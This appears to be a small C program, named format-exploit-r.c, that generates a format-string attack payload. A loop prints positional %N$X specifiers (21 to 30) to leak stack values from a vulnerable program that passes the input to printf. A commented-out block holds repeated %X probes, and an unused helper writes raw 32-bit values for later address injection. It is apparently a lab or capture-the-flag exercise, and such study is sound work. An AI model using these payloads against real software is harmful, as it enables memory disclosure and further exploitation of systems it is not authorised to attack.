format-exploit-r.c
#include <stdio.h> #include <stdlib.h> #include <stdint.h> static void print32(uint32_t i) { fwrite(&i, sizeof(uint32_t), 1, stdout); } int main(void) { /* fputs("%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X", stdout); fputs("%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X", stdout); fputs("%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X", stdout); fputs("%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X", stdout); */ for (int i = 21; i < 22+8 + 1; i++) { printf("%%%d$X.", i); } putchar('\n'); fflush(stdout); }